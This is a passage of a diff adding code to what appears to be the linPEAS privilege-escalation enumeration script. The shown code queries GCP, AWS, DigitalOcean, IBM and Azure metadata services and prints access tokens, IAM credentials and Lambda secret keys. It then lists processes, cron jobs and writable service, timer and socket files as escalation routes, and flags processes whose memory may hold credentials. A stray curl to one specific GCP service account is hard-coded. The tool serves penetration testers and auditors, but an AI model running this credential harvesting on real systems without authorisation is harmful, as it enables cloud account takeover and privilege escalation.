+ inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id)
+ [ "$inst_id" ] && echo "Instance ID: $inst_id"
+ mtls_info=$(eval $gcp_req http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration)
+ [ "$mtls_info" ] && echo "MTLS info: $mtls_info"
+ inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone)
+ [ "$inst_zone" ] && echo "Zone: $inst_zone"
+
+ echo ""
+ print_3title "Service Accounts"
+ for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do
+ echo " Name: $sa"
+ echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}email")
+ echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}aliases")
+ echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}identity")
+ echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g"
+ echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}token")
+ echo " ============== "
+ done
+ fi
+fi
+
+
+curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/405423052163-compute@developer.gserviceaccount.com/email"
+
+# AWS ECS Enumeration
+if [ "$is_aws_ecs" = "Yes" ]; then
+ print_2title "AWS ECS Enumeration"
+
+ aws_ecs_req=""
+ if [ "$(command -v curl)" ]; then
+ aws_ecs_req='curl -s -f'
+ elif [ "$(command -v wget)" ]; then
+ aws_ecs_req='wget -q -O -'
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ fi
+
+ if [ "$aws_ecs_metadata_uri" ]; then
+ print_3title "Container Info"
+ exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri"
+ echo ""
+
+ print_3title "Task Info"
+ exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri/task"
+ echo ""
+ else
+ echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info"
+ fi
+
+ if [ "$aws_ecs_service_account_uri" ]; then
+ print_3title "IAM Role"
+ exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri"
+ echo ""
+ else
+ echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)"
+ fi
+fi
+
+# AWS EC2 Enumeration
+if [ "$is_aws_ec2" = "Yes" ]; then
+ print_2title "AWS EC2 Enumeration"
+
+ HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
+ URL="http://169.254.169.254/latest/meta-data"
+
+ aws_req=""
+ if [ "$(command -v curl)" ]; then
+ aws_req="curl -s -f -H '$HEADER'"
+ elif [ "$(command -v wget)" ]; then
+ aws_req="wget -q -O - -H '$HEADER'"
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ fi
+
+ if [ "$aws_req" ]; then
+ printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
+ printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
+ printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
+ printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
+ printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
+ printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
+
+ echo ""
+ print_3title "Account Info"
+ exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
+
+ echo ""
+ print_3title "Network Info"
+ for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
+ echo "Mac: $mac"
+ printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
+ printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
+ printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
+ echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
+ printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
+ echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
+ printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
+ echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
+ echo ""
+ done
+
+ echo ""
+ print_3title "IAM Role"
+ exec_with_jq eval $aws_req "$URL/iam/info"; echo ""
+ for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
+ echo "Role: $role"
+ exec_with_jq eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
+ echo ""
+ done
+
+ echo ""
+ print_3title "User Data"
+ eval $aws_req "http://169.254.169.254/latest/user-data"; echo ""
+
+ echo ""
+ echo "EC2 Security Credentials"
+ exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
+
+ print_3title "SSM Runnig"
+ ps aux 2>/dev/null | grep "ssm-agent" | grep -v "grep" | sed "s,ssm-agent,${SED_RED},"
+ fi
+fi
+
+# AWS Lambda Enumeration
+if [ "$is_aws_lambda" = "Yes" ]; then
+ print_2title "AWS Lambda Enumeration"
+ printf "Function name: "; env | grep AWS_LAMBDA_FUNCTION_NAME
+ printf "Region: "; env | grep AWS_REGION
+ printf "Secret Access Key: "; env | grep AWS_SECRET_ACCESS_KEY
+ printf "Access Key ID: "; env | grep AWS_ACCESS_KEY_ID
+ printf "Session token: "; env | grep AWS_SESSION_TOKEN
+ printf "Security token: "; env | grep AWS_SECURITY_TOKEN
+ printf "Runtime API: "; env | grep AWS_LAMBDA_RUNTIME_API
+ printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next")
+fi
+
+# AWS Codebuild Enumeration
+if [ "$is_aws_codebuild" = "Yes" ]; then
+ print_2title "AWS Codebuild Enumeration"
+
+ aws_req=""
+ if [ "$(command -v curl)" ]; then
+ aws_req="curl -s -f"
+ elif [ "$(command -v wget)" ]; then
+ aws_req="wget -q -O -"
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ echo "The addresses are in /codebuild/output/tmp/env.sh"
+ fi
+
+ if [ "$aws_req" ]; then
+ print_3title "Credentials"
+ CREDS_PATH=$(cat /codebuild/output/tmp/env.sh | grep "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | cut -d "'" -f 2)
+ URL_CREDS="http://169.254.170.2$CREDS_PATH" # Already has a / at the begginig
+ exec_with_jq eval $aws_req "$URL_CREDS"; echo ""
+
+ print_3title "Container Info"
+ METADATA_URL=$(cat /codebuild/output/tmp/env.sh | grep "ECS_CONTAINER_METADATA_URI" | cut -d "'" -f 2)
+ exec_with_jq eval $aws_req "$METADATA_URL"; echo ""
+ fi
+fi
+
+# DO Droplet Enumeration
+if [ "$is_do" = "Yes" ]; then
+ print_2title "DO Droplet Enumeration"
+
+ do_req=""
+ if [ "$(command -v curl)" ]; then
+ do_req='curl -s -f '
+ elif [ "$(command -v wget)" ]; then
+ do_req='wget -q -O - '
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ fi
+
+ if [ "$do_req" ]; then
+ URL="http://169.254.169.254/metadata"
+ printf "Id: "; eval $do_req "$URL/v1/id"; echo ""
+ printf "Region: "; eval $do_req "$URL/v1/region"; echo ""
+ printf "Public keys: "; eval $do_req "$URL/v1/public-keys"; echo ""
+ printf "User data: "; eval $do_req "$URL/v1/user-data"; echo ""
+ printf "Dns: "; eval $do_req "$URL/v1/dns/nameservers" | tr '\n' ','; echo ""
+ printf "Interfaces: "; eval $do_req "$URL/v1.json" | jq ".interfaces";
+ printf "Floating_ip: "; eval $do_req "$URL/v1.json" | jq ".floating_ip";
+ printf "Reserved_ip: "; eval $do_req "$URL/v1.json" | jq ".reserved_ip";
+ printf "Tags: "; eval $do_req "$URL/v1.json" | jq ".tags";
+ printf "Features: "; eval $do_req "$URL/v1.json" | jq ".features";
+ fi
+fi
+
+# IBM Cloud Enumeration
+if [ "$is_ibm_vm" = "Yes" ]; then
+ print_2title "IBM Cloud Enumeration"
+
+ if ! [ "$IBM_TOKEN" ]; then
+ echo "Couldn't get the metadata token:("
+
+ else
+ TOKEN_HEADER="Authorization: Bearer $IBM_TOKEN"
+ ACCEPT_HEADER="Accept: application/json"
+ URL="http://169.254.169.254/latest/meta-data"
+
+ ibm_req=""
+ if [ "$(command -v curl)" ]; then
+ ibm_req="curl -s -f -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
+ elif [ "$(command -v wget)" ]; then
+ ibm_req="wget -q -O - -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ fi
+
+ if [ "$ibm_req" ]; then
+ print_3title "Instance Details"
+ exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance?version=2022-03-01"
+
+ print_3title "Keys and User data"
+ exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01"
+ exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/keys?version=2022-03-01"
+
+ print_3title "Placement Groups"
+ exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01"
+
+ print_3title "IAM credentials"
+ exec_with_jq eval $ibm_req -X POST "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"
+ fi
+ fi
+
+fi
+
+# Azure VM Enumeration
+if [ "$is_az_vm" = "Yes" ]; then
+ print_2title "Azure VM Enumeration"
+
+ HEADER="Metadata:true"
+ URL="http://169.254.169.254/metadata"
+ API_VERSION="2021-12-13" # https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
+
+ az_req=""
+ if [ "$(command -v curl)" ]; then
+ az_req="curl -s -f -H '$HEADER'"
+ elif [ "$(command -v wget)" ]; then
+ az_req="wget -q -O - -H '$HEADER'"
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ fi
+
+ if [ "$az_req" ]; then
+ print_3title "Instance details"
+ exec_with_jq eval $az_req "$URL/instance?api-version=$API_VERSION"
+
+ print_3title "Load Balancer details"
+ exec_with_jq eval $az_req "$URL/loadbalancer?api-version=$API_VERSION"
+
+ print_3title "Management token"
+ exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/"
+
+ print_3title "Graph token"
+ exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
+
+ print_3title "Vault token"
+ exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://vault.azure.net/"
+
+ print_3title "Storage token"
+ exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://storage.azure.com/"
+ fi
+fi
+
+if [ "$check_az_app" = "Yes" ]; then
+ print_2title "Azure App Service Enumeration"
+ echo "I haven't tested this one, if it doesn't work, please send a PR fixing and adding functionality :)"
+
+ HEADER="secret:$IDENTITY_HEADER"
+
+ az_req=""
+ if [ "$(command -v curl)" ]; then
+ az_req="curl -s -f -H '$HEADER'"
+ elif [ "$(command -v wget)" ]; then
+ az_req="wget -q -O - -H '$HEADER'"
+ else
+ echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
+ fi
+
+ if [ "$az_req" ]; then
+ print_3title "Management token"
+ exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/"
+
+ print_3title "Graph token"
+ exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
+
+ print_3title "Vault token"
+ exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/"
+
+ print_3title "Storage token"
+ exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/"
+ fi
+fi
+
+fi
+echo ''
+echo ''
+if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi
+
+if echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets; then
+print_title "Processes, Crons, Timers, Services and Sockets"
+
+####################################################
+#-----) Processes & Cron & Services & Timers (-----#
+####################################################
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ #-- PCS) Cleaned proccesses
+ print_2title "Cleaned processes"
+
+ if [ "$NOUSEPS" ]; then
+ printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC
+ fi
+ print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
+
+ if [ -f "/etc/fstab" ] && cat /etc/fstab | grep -q "hidepid=2"; then
+ echo "Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users"
+ fi
+
+ if [ "$NOUSEPS" ]; then
+ print_ps | grep -v 'sed-Es' | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
+ pslist=$(print_ps)
+ else
+ (ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do
+ echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
+ if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then
+ cpid=$(echo "$psline" | awk '{print $2}')
+ caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')"
+ if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then
+ printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g"
+ fi
+ fi
+ done
+ pslist=$(ps auxwww)
+ echo ""
+
+ #-- PCS) Binary processes permissions
+ print_2title "Binary processes permissions (non 'root root' and not belonging to current user)"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
+ binW="IniTialiZZinnggg"
+ ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do
+ if [ -w "$bpath" ]; then
+ binW="$binW|$bpath"
+ fi
+ done
+ ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN},"
+ fi
+ echo ""
+fi
+
+CURRENT_USER_PIVOT_PID=""
+if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$NOUSEPS" ]; then
+ #-- PCS) Process opened by other users
+ print_2title "Processes whose PPID belongs to a different user (not root)"
+ print_info "You will know if a user can somehow spawn processes as a different user"
+
+ # Function to get user by PID
+ get_user_by_pid() {
+ ps -p "$1" -o user | grep -v "USER"
+ }
+
+ # Find processes with PPID and user info, then filter those where PPID's user is different from the process's user
+ ps -eo pid,ppid,user | grep -v "PPID" | while read -r pid ppid user; do
+ if [ "$ppid" = "0" ]; then
+ continue
+ fi
+ ppid_user=$(get_user_by_pid "$ppid")
+ if echo "$user" | grep -Eqv "$ppid_user|root$"; then
+ echo "Proc $pid with ppid $ppid is run by user $user but the ppid user is $ppid_user" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
+ if [ "$ppid_user" = "$USER" ]; then
+ CURRENT_USER_PIVOT_PID="$ppid"
+ fi
+ fi
+ done
+ echo ""
+fi
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ #-- PCS) Files opened by processes belonging to other users
+ if ! [ "$IAMROOT" ]; then
+ print_2title "Files opened by processes belonging to other users"
+ print_info "This is usually empty because of the lack of privileges to read other user processes information"
+ lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
+ echo ""
+ fi
+fi
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ #-- PCS) Processes with credentials inside memory
+ print_2title "Processes with credentials in memory (root req)"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory"
+ if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi
+ if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi
+ if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi
+ if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi
+ if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi
+ if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi
+ echo ""
+fi
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ #-- PCS) Different processes 1 min
+ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then
+ print_2title "Different processes executed during 1 min (interesting is low number of repetitions)"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs"
+ temp_file=$(mktemp)
+ if [ "$(ps -e -o user,command 2>/dev/null)" ]; then
+ for i in $(seq 1 1210); do
+ ps -e -o user,command >> "$temp_file" 2>/dev/null; sleep 0.05;
+ done;
+ sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},";
+ rm "$temp_file";
+ fi
+ echo ""
+ fi
+fi
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ #-- PCS) Cron
+ print_2title "Cron jobs"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
+ command -v crontab 2>/dev/null || echo_not_found "crontab"
+ crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
+ command -v incrontab 2>/dev/null || echo_not_found "incrontab"
+ incrontab -l 2>/dev/null
+ ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
+ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
+ crontab -l -u "$USER" 2>/dev/null | tr -d "\r"
+ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths
+ atq 2>/dev/null
+else
+ print_2title "Cron jobs"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
+ find "$SEARCH_IN_FOLDER" '(' -type d -or -type f ')' '(' -name "cron*" -or -name "anacron" -or -name "anacrontab" -or -name "incron.d" -or -name "incron" -or -name "at" -or -name "periodic" ')' -exec echo {} \; -exec ls -lR {} \;
+fi
+echo ""
+
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ if [ "$MACPEAS" ]; then
+ print_2title "Third party LaunchAgents & LaunchDemons"
+ print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd"
+ ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null
+ echo ""
+
+ print_2title "Writable System LaunchAgents & LaunchDemons"
+ find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do
+ program=""
+ program=$(defaults read "$f" Program 2>/dev/null)
+ if ! [ "$program" ]; then
+ program=$(defaults read "$f" ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2)
+ fi
+ if [ -w "$program" ]; then
+ echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},";
+ fi
+ done
+ echo ""
+
+ print_2title "StartupItems"
+ print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items"
+ ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null
+ echo ""
+
+ print_2title "Login Items"
+ print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items"
+ osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null
+ echo ""
+
+ print_2title "SPStartupItemDataType"
+ system_profiler SPStartupItemDataType
+ echo ""
+
+ print_2title "Emond scripts"
+ print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond"
+ ls -l /private/var/db/emondClients
+ echo ""
+ fi
+fi
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ #-- PCS) Services
+ if [ "$EXTRA_CHECKS" ]; then
+ print_2title "Services"
+ print_info "Search for outdated versions"
+ (service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl"
+ echo ""
+ fi
+fi
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ #-- PSC) systemd PATH
+ print_2title "Systemd PATH"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths"
+ systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g"
+ WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders")
+ echo ""
+fi
+
+#-- PSC) .service files
+#TODO: .service files in MACOS are folders
+print_2title "Analyzing .service files"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services"
+printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do
+ if [ ! -O "$s" ] || [ "$SEARCH_IN_FOLDER" ]; then #Remove services that belongs to the current user or if firmware see everything
+ if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
+ echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g"
+ fi
+ servicebinpaths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') #Get invoked paths
+ printf "%s\n" "$servicebinpaths" | while read sp; do
+ if [ -w "$sp" ]; then
+ echo "$s is calling this writable executable: $sp" | sed "s,writable.*,${SED_RED_YELLOW},g"
+ fi
+ done
+ relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' "$s" 2>/dev/null | grep -Iv "=/")
+ relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null)
+ if [ "$relpath1" ] || [ "$relpath2" ]; then
+ if [ "$WRITABLESYSTEMDPATH" ]; then
+ echo "$s could be executing some relative path" | sed -${E} "s,.*,${SED_RED},";
+ else
+ echo "$s could be executing some relative path"
+ fi
+ fi
+ fi
+done
+if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi
+echo ""
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ #-- PSC) Timers
+ print_2title "System timers"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
+ (systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found
+ echo ""
+fi
+
+#-- PSC) .timer files
+print_2title "Analyzing .timer files"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
+printf "%s\n" "$PSTORAGE_TIMER" | while read t; do
+ if ! [ "$IAMROOT" ] && [ -w "$t" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
+ echo "$t" | sed -${E} "s,.*,${SED_RED},g"
+ fi
+ timerbinpaths=$(grep -Po '^Unit=*(.*?$)' $t 2>/dev/null | cut -d '=' -f2)
+ printf "%s\n" "$timerbinpaths" | while read tb; do
+ if [ -w "$tb" ]; then
+ echo "$t timer is calling this writable executable: $tb" | sed "s,writable.*,${SED_RED},g"
+ fi
+ done
+ #relpath="`grep -Po '^Unit=[^/].*' \"$t\" 2>/dev/null`"
+ #for rp in "$relpath"; do
+ # echo "$t is calling a relative path: $rp" | sed "s,relative.*,${SED_RED},g"
+ #done
+done
+echo ""
+
+#-- PSC) .socket files
+#TODO: .socket files in MACOS are folders
+if ! [ "$IAMROOT" ]; then
+ print_2title "Analyzing .socket files"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
+ printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do
+ if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
+ echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g"
+ fi
+ socketsbinpaths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
+ printf "%s\n" "$socketsbinpaths" | while read sb; do
+ if [ -w "$sb" ]; then
+ echo "$s is calling this writable executable: $sb" | sed "s,writable.*,${SED_RED},g"
+ fi
+ done
+ socketslistpaths=$(grep -Eo '^(Listen).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
+ printf "%s\n" "$socketslistpaths" | while read sl; do
+ if [ -w "$sl" ]; then
+ echo "$s is calling this writable listener: $sl" | sed "s,writable.*,${SED_RED},g";
+ fi
+ done
+ done
+ echo ""
+
+ if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Unix Sockets Listening"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
+ # Search sockets using netstat and ss
+ unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1)
+ if ! [ "$unix_scks_list" ];then
+ unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+")
+ fi
+ if ! [ "$unix_scks_list" ];then
